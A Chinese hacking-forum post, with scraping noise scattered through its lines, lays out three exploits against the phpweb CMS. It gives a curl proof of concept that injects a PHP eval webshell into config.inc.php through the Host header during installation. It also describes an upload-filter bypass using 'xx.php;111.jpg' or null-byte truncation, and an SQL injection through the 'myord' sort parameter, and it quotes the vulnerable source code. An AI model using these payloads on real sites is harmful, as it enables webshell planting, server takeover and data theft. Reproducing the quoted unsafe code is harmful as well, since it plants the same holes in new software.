找回密码
 立即注册
查看: 3184|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:0 {. g6 F4 K/ X4 e/ d

8 b! n! ?. S, v7 h: F3 `之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码7 s& Z2 b+ T, {
. e! L* X/ ^1 c* M, M+ M( H' e
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件  M& f' R" g( w! ]3 ?; j
鸡肋2: 有一定安全常识的站长都会删掉 install 目录. A8 a. J8 v" q& G
2 C  B& i' `+ k' }
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响4 E! z( f  O/ V0 A
. U, y1 \% T! L& F6 Y3 R
分析:6 h+ F% O( @0 N. Y, T7 ]: B

& F4 P0 ~, D3 `# H) V 4 ~. T) A3 s; j2 M. }
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤8 u! k- e& X: `# _. z$ z

0 s+ y- f; H, ?7 z- \1 s% u1 {0 p                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
6 m4 ?; i  E+ z                                            $filestr=str_replace(" ","",$filestr);& W; s  B1 q1 \& G, w/ X. K
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);7 S! l3 k% P, Y4 b/ ~
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
$ z7 q& W( e. C. L! f                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ _$ V3 ^5 @, ^& {9 W" a                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
4 Y$ B2 W  ^) J4 g3 [: m. v" u                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);3 v5 V3 m% I( z+ [
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);" V4 _1 G% Z" E7 C( j
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);. ]" C( c9 K) e7 V8 ?4 b% P

/ d3 L7 X- f# V/ {. \, l  s                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
: I  M9 D* i5 c1 ?  {$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
8 c: h, E" J  V) w3 \
6 B, Y: A$ g  W1 p+ H& J+ e' Kpoc:
- m" x( p% P" U$ L6 c! T. D; \( P! k & t0 Y' M& {% D) x2 ?
?
( x5 ^/ z$ `# h1) w: c  t7 H" O: c8 |9 ~* R
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
5 n' C: H. c. j* \" k" w) \4 Wshell地址: /config.inc.php
2 Y  G) _7 V9 D) |: k: |: L8 P7 _$ b跟之前的 phpcms一样 需要远程数据库5 C  v1 {2 k5 N4 {3 [# y- ^

& B! L  J, n0 x$ ]+ s2 u——————————————————–0 }* M7 E+ Q2 @8 f1 V
上传漏洞(需要进后台):) I. e! d  @) q2 Y" Y  b' _% q$ ]; M
漏洞文件: /kedit/upload_cgi/upload.php( y+ q/ s8 M0 {$ e3 J1 V
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
  |" v: I& W( n2 N6 g- B( Q: i ( l4 L* P6 e! v3 y( g" R7 U
; V$ A' {4 h# G9 E6 R' ?( s- n! j
<?php
) `4 E7 r4 T# U7 d' ~2 o0 |: f    define("ROOTPATH", "../../");( s. D- ]9 M$ {4 I! r  y) S- u6 |
    include(ROOTPATH."includes/admin.inc.php");- p3 Q8 f$ b. Q4 R
    NeedAuth(0);: v3 j+ \) B+ T. S2 E! t7 q" W
" J. _6 ]- G8 M2 V  A0 a. U/ `
    $dt=date("Ymd",time());: F: R8 s3 Q, P/ N1 j8 H5 u0 O* T
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
2 W% f/ t- P( R2 }; i1 n' g            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);. _  P% g3 D9 k; W9 w4 e5 V
    }1 s. L' }3 G* ]( p& p$ A
! {* ?3 I: z9 V7 @% I1 r7 L
    //文件保存目录路径
; b+ V6 Q7 B1 _3 I$ s$ \4 r    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" m! j9 ~2 X  X  L, A    echo $save_path;  ?( a- v8 R. R0 D
    //文件保存目录URL
) i7 @' g4 G  S8 w* J! b4 T    $save_url = '../../'.$_POST['attachPath'].$dt.'/';7 V8 ]* Y5 Q- z& v
  x! \1 _3 Q7 M  s( A! a
    //定义允许上传的文件扩展名6 d0 ~$ X' p. b& k# b, i3 G1 p
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
9 ?! Z# ^  D) S: {1 A5 M/ A: O 8 C( o/ R7 U$ m# k, @* b2 m
    //最大文件大小1 h' V$ b2 ?7 b5 H/ w. `
    $max_size = 1000000;
( Y& q8 Y, a& G+ V* S% I/ X   E+ W. Y$ y3 M" x) a$ e$ X
    //更改目录权限7 ?  G9 m! h3 B: {2 I1 y
    @mkdir($save_path, 0777);4 [% e; D, H! k. I

. }( G( J: k; _    //文件的全部路径: k& a9 Y1 Z* w: m2 D
    $file_path = $save_path.$_POST['fileName'];   //保存文件名, Y/ O1 [! \' j8 h# `9 [

8 A' s. m/ h, K* G8 S( j    //文件URL
4 |/ j+ Z$ t9 [. [* L3 g    $file_url = $save_url.$_POST['fileName'];
# \- t% E+ \3 j$ |3 l8 y$ ?! \//有上传文件时
. H8 f& d. x  k  q: w! k0 O1 A2 O- ]4 g( p    if (empty($_FILES) === false) {7 {" t, w' g. Q+ E. @1 c2 H
: h/ Z  a, i" V8 y- f$ ^! b
            //原文件名# i* E5 X, _$ @
            $file_name = $_FILES['fileData']['name'];( c- O. V6 Z! P8 B7 k$ s6 e" S7 Y
            //服务器上临时文件名, N6 ?" g& Z( g
            $tmp_name = $_FILES['fileData']['tmp_name'];
  L& {0 f2 d6 P( u' r            //文件大小
7 x( S  v0 g3 n4 b) {; G            $file_size = $_FILES['fileData']['size'];/ A0 H) ~  n+ g- p# t; n  w+ n) J
            //检查目录
) ]- B' S0 J* d/ p$ e; ~. c( Y            if (@is_dir($save_path) === false) {' p0 m5 a3 I* U' Q) I# Z
                    alert("上传目录不存在。");8 R* c* W( E6 @# ?5 s
            }2 c+ v5 y6 I) b2 z
            //检查目录写权限6 X# @3 g1 b& x8 N0 d2 p+ B
            if (@is_writable($save_path) === false) {
' n! [1 ?. b) n4 ]1 d* H                    alert("上传目录没有写权限。");
- ]6 }) p% {4 @2 s; c            }
: }# q/ V2 }3 A5 ]3 C            //检查是否已上传
6 G( m2 l( N8 E3 A% Y# h# Y, X            if (@is_uploaded_file($tmp_name) === false) {; i+ |) b5 W* ]9 B! r2 _
                    alert("临时文件可能不是上传文件。");
0 q% l+ @) ]1 W6 o            }, j1 Y- l' S6 ?: \
            //检查文件大小, S5 G' W6 l  Y* {- s2 z
            if ($file_size > $max_size) {/ `4 e0 m' ]* @  [1 S
                    alert("上传文件大小超过限制。");3 ^* t% w" o% ]  S- n
            }+ i# T) C7 p% s6 x
            //获得文件扩展名
# A3 T2 }5 \% W: w8 v7 d/ _/ k2 J            $temp_arr = explode(".", $_POST['fileName']);9 ^; i, D  J* m6 R4 i9 ~4 e
            $file_ext = array_pop($temp_arr);
2 {& t7 D1 L' ?5 }$ ^            $file_ext = trim($file_ext);
2 d# H! v; J1 T# H8 W8 }            $file_ext = strtolower($file_ext);
6 T1 `9 F- d3 t/ `' _5 z
/ {+ D: @, w2 }1 ?            //检查扩展名   
* ~, \8 E1 e- E) J2 r            if (in_array($file_ext, $ext_arr) === false) {     
, E. Z* B8 G7 q, `                    alert("上传文件扩展名是不允许的扩展名。");( n9 a# }4 d8 b6 b" q
            }1 i8 t! ]3 ]) J$ l& @

) e. t# m$ f  f! ~7 T            //移动文件   
, a/ b1 R( r: Y0 `            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^# ?- V+ d+ k8 G( @* J5 l
            if (move_uploaded_file($tmp_name, $file_path) === false) {
- k$ R3 s% G  ^) L3 ~: U                    alert("上传文件失败。");* N/ H% \' k9 a- f, |
            }+ K( |: y( a: c- Y7 u" E6 m

' ~( [) `6 v' ?5 v            @chmod($file_path,0666);( c8 a. z4 ?4 L) y4 x

  _! t, A7 v; t) |    ?>
9 N- L8 [2 k. e( X抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227- C0 {. t6 @' C% O* I3 h
' X* b) b& i" E) [7 j) p
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
7 U: R) c/ Z; S7 u6 P / x+ e6 p6 {, u' E7 D; e2 @
——————————————————
1 t# m1 q* D" r5 X注入漏洞:
' n* }" s9 K# A0 A8 _+ ]漏洞文件:search/module/search.php+ j4 k% c" U3 X/ j- N
/search/index.php?key=1&myord=1 [sqlinjection]
, f: U* n! K$ }  t$ D; M , o+ G) w& D9 C( p  D

. ~0 }; i* p, r1 R<?php
6 _; b: x0 d! M1 U% \; }. [   //       ... 省略 n 行...4 \0 G5 |6 I6 m) N) V
   //第18行:
9 A/ w" R7 U# z# b) i) Z9 a0 T# D. E           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响8 E  Z+ c  w, o- H
           $page=htmlspecialchars($_GET["page"]);
4 H: l0 J# @" W6 x$ e           $myord=htmlspecialchars($_GET["myord"]);0 \" ~2 k9 Q3 t7 u1 f# x, n
( M+ o' e' Q' L$ r) v! j
   //       ... 省略 n 行...: g% l* `* Y4 W
   $key,$myord 两个参数带入查询, L! S/ G' R0 e$ H) y0 G# s$ A
   //第47行 $key:1 }3 x, r) _  {7 o- v  w
: p2 F* I) f) x
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..! _3 S, q* e( Y6 W

* \& y2 T& _) V% ?- W0 \   //第197行 $myord/ B) G4 b0 @; Z4 m) ~# N' n
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入$ d" v$ E4 q1 g* ^
+ o1 k/ n$ q! w! L
   ?>
6 G# t( _) r  |, p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表